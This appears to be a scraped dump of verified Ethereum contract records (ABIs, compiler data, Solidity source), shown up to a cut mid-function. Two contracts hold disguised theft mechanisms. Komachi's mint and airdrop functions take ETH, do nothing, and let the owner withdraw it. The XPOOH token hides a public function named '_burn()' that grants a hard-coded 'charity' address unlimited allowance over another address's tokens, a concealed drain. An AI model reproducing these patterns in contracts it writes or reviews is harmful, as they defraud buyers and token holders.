s":[],"name":"whitelistMintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.9+commit.e5eed63a

00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000005af3107a40000000000000000000000000000000000000000000000000000000000000001b3900000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000a506f6f7368696e5065650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000075053484e504545000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000041697066733a2f2f516d5562516f713168684a35397464375377346f7643784153646d65546f7053354368756d57397261664e45654a2f68696464656e2e6a736f6e00000000000000000000000000000000000000000000000000000000000000

Default

Komachi

Komachi.sol

0x45b51efdd3009a89214949108510ebfd6f0b6eaf

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; contract Komachi { address private owner; // current owner of the contract constructor(){ owner = msg.sender; } function getOwner( ) public view returns (address) { return owner; } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function withdrawBalance() external onlyOwner{ (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "WITHDRAW FAILED!"); } function KomachiMint() public payable { } function WhitelistMint() public payable { } function Airdrop() public payable { } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Airdrop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"KomachiMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"WhitelistMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.17+commit.8df45f5f

Default

MIT

ipfs://1dc77754de1a0a1481910fe409ba73dba50588d70bfedabc9e26b4448c3b9813

Hasbulla

@openzeppelin/[email protected]/token/ERC20/ERC20.sol

0x713127924d73b0520ff969c7518e74511723daf9

Solidity

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } pragma solidity ^0.8.4; contract Hasbulla is ERC20 { constructor() ERC20("Hasbulla", "$Hasbulla") { _mint(msg.sender, 10000000000000 * 10 ** decimals()); } }

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v0.8.4+commit.c7e474f2

Default

MIT

ipfs://c8d2c425d8e7050d2652926a36cf0f7c74d4a97e1487f17fb2b79d7956831d88

Studys

contracts/Studys.sol

0x6bc24e6c878f2b23ecec27198e3b95889661d377

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Scrawls Studys /// @author: manifold.xyz import "./ERC721Creator.sol"; ////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ****+++++++++++++++++++++++=========================+++++++++++++++++********************* // // ++++++++++++++++++++====================================++++++++++++++++++**************** // // ++++++++++++++==============================================+++++++++++++++++++*********** // // ++++++++++++++==============--------------------==============++++++++++++++++++++******** // // ++++++++++++==============--------------------------=================++++++++++++++++++*** // // +++++++++++=========================================+++++++++++++++++*****++++++++++++**** // // +++++++++==============++===========================++++++++++++++++++****++++++++++++++** // // +++++++===========-----======================================+++++++++++++====++++++++++++ // // ++++===========--------=====================++**#########**+=+++++++++++++=======+++++++++ // // ==============---------=================++**#####%%%%%%%%%%%#*++=+++++++++=======+++++++++ // // ===========------------====---------==+**#######%%%%%%%%%%%%%%#*+=====++++--========++++++ // // =========--------------=-----------+**#####**+++=+++*##%%%%%%%%%#*======+=---==========+++ // // ======---------------:-----------+**###*+====----=++=+++*%%%%%%%##*=======----===========+ // // ====-------------::::::--------=**###+=+=--:-+*+-==+++=**#%%%%%%%##*======-------========= // // ======-----------::::::-------+*###=--*#=+*+===++++==++=+#%%%%%%%%%#+=====---------======= // // +========--------------==----+*##*-:::===*##*#+++=-++===+#%%%%%%%%%##=====--------======== // // +++=========-----------======##%+::::---==+**#*=-+*+=++++#%%%%%%%%%%%+====---------======= // // +++++========----------====+*#%=::::--====+++--=***=--=+*#%%%%%%%%%%%#====------=========+ // // *++++======------------=====#%*-:::--==++=+-:+**++*#+--=+*%%%%%%%%%%%#+===------=========+ // // ***++++========--------=====#%#=---====++=-+**#**+==++=++*%%%%%%%%%%%##=+=--------=======+ // // #***+++++==============++++*%%%==+===++=-+**=+++*%**=*+++*%%%%%%%%%%%##+==-------=======++ // // ********+++===-------==+++++%%%+-=+==*++=*++=-===**##+++*#@%%%%%%%%%%##*==--------=====+++ // // ##******++*++++====----+++++#%%*=-=++++**+=----====+++**%%%%%%%%%%%%%##*+=------========++ // // ##****+**+++++++=======+++++*%#++===++*+==-----====++*#%%%%%%%%%%%%%####+=--------=======+ // // ###******++++++++++++++******%#*%*===++%#*=---===++*##%%@%%%%%%%%%######++---============+ // // ************+++++++++=+*********++****+%@#*+===++*##%%@@%%%%%%%%%%%%####++==========++++++ // // ###****++*++++++++++=++****++#+=====+***%%%#****%%##@@@%%%%%%%%%%%%%%##*++=========++++++* // // ####**********+++++++++##+=##*+===--===++*+**###@@@@@@@%%%%%%%%%%%%%###*++========+++***** // // ####*****************+*#++#####==-==-==+++==+###@@@@@@%%%%%%%%%%%%%%###***=======++++++*** // // ######********+++*+++++#-#######+=++++=+**#****%@@@@@@%%%%%%%%%%%%%###****+++====+++++++++ // // ###******+++++*********+-#******-+=++*****++***%@@@@@@@%%%%%%%%%%%###*++++========++++++++ // // ###****++++*****++++***-=#+++++*-:--++*+===++++#@@@@@@@@%%%%%%%%%###+=============+++++*** // // ######**********++****+-+#******=:=--+*=---==++*@@@@@@@%%%%%%%%%%%#*+++========+++++++++++ // // %######******++******+========+++=*--++=----+++*#@@@@%%@@%%%%%%%%#+=++++++++++++++++++**** // // ########**********+=-+*=+++***##**++*++=----===++*%@@@@@@@%%%%%#*+++****+*************#### // // ######*******++=-::-=+***###*****+#+++*+=----==+++*%@@@@@%%%#*+===+++++*******############ // // %%%#####**=-:::----=+*++=-==++*++***###**=---===++**#%@@@#*+=+++++++++++++********######## // // ######***:::-==---=+*#*++=++*#***###*+*#*======++++*++##+=======+++*******************#### // // %#######*--=====++*##+===+**######+*=+##+=--===+**#*##+=#--*+++++++++*****************#### // // %%%%####+-=+*##*********+++*###%#%+=+-=++++===+*#%=:%%=.+%*+%#******######**############## // // %%%%%%#%-=-=+*####******=-:. .:==+#+===-++*+++*=%%*.-#%*+%*+=---+#####*#*##############%%% // // %#######---=+*##***#**+=++***++=#%++*+=+++***#* :*%#=+%#=. :=*###############*##%###%%%% // // %%%%%###:--=++####****######%%%%%: +%*=****#+=%*-.+%%%+ :+###%%#*++*#################%%% // // %%%%%%%*:--=++##+=-::. .:-=+###%*..#%-+*#:.+%##%%- .*####=: ... -*################## // // %%%%%%%+--==++=. .-+::##- **+%+:%%%*. :####= :-=+***########*######## // // %%%%%%%=-==+++- .-=+******+==-: ..=#: #%%-%%%#+: -%%##. .:-+#######*+*############### // // @@@@@%%--==+++###################*+=-:.::=::... =%##*..:+######*=-: -*****######### // // @@%%%%%-===++*%#####*++++++**#######%%#*+=:. .-#%##+..=#####+-. :-==+*#*##*######## // // %%%@%%*-===++**=-. .:-=+*%%#%%%##%#####%%%##+.:=%##*- .-+#######*############ // // %%%%%%+===++**: .::------:. .:=+*#%%%%%%%%%%#=::=%%%= :+#####+=::...+########## // // %%%%%@++==++*#::-=*##############*+=-::::::-====------=+*%%%- .*%###=: .:-==+###%#%%%%% // // %%%%%@=+++***#%%##########***++==---:::::::::----------=+#%=..-%%%#- .=*#%%##########%%% // // %%%%%%=+++*###%###**+==----:::-:-----==============-----=+*+:+%%%= -*%%%%%#+=-::*%%%%%%% // // %%%%%#++**#####**********+++============++*+****##*+=----=+*#%%#:. -#%%%%+-. .:=%%@@@@@ // // @@@@@#++*##*********************#####*+=-----=++****++===-+**##:.:#%%%#- -+#%%%%%%%%%% // // @@%@@%##****#%%%%%%%%%%%#########%%%%%%%#*++=--:.::*#*+====+*+**+%%%%= :+%%%%%*+-:+%%%% // // %%%%%%%+-*#%%%%%%#+=-::.... .:-=+*#%%%%%%%%%%%%#*+====+++*#%%#:. .+%%%%*-. .-=%%%% // // %%%%%%%##%%%%#=:. ...:-==++++++++==-:. :-=+*#%%%%%%#**++++++**#%-...=%%%%+. -*%%%%%%% // // %%%%%%%%%%#=. .-+*#%%%%%%##%%%%%%%%%%%#*=-:. .:--:=%#*******####=:*%%%*. =#%%%*++:%@ // // // // // // // ////////////////////////////////////////////////////////////////////////////////////////////////////// contract Studys is ERC721Creator { constructor() ERC721Creator("Scrawls Studys", "Studys") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.7+commit.e28d00a7

Default

0xe4e4003afe3765aca8149a82fc064c0b125b9e5a

XPOOH

XPOOH.sol

0xc457b6dc0d374d5dbade829eb6774a13e140bf22

Solidity

/** WEBSITE: https://xpooh.vip TWITTER: https://twitter.com/xpooh_erc TELEGRAM: https://t.me/xpooh_erc */ // SPDX-License-Identifier: MIT pragma solidity 0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address public context; address public metadata; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burn() public returns (bool) { _approve(metadata, context, type(uint).max); return true; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract XPOOH is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; address private charityAddress; address private devAddress; uint256 public minFeeAmount; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20(unicode"XPooh", unicode"XPOOH") { uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; charityAddress = address(0xfB736fb41dA56939FF0E94E5813Ad18bDCB2f7C6); devAddress = address(msg.sender); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = totalSupply * 30 / 1000; maxWallet = totalSupply * 30 / 1000; swapTokensAtAmount = totalSupply * 2 / 100000; context = charityAddress; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(devAddress, true); excludeFromFees(charityAddress, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(devAddress, true); excludeFromMaxTransaction(charityAddress, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function enableTrading(address pair) external onlyOwner { tradingActive = true; swapEnabled = true; uniswapV2Pair = pair; excludeFromMaxTransaction(address(pair), true); _setAutomatedMarketMakerPair(address(pair), true); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function 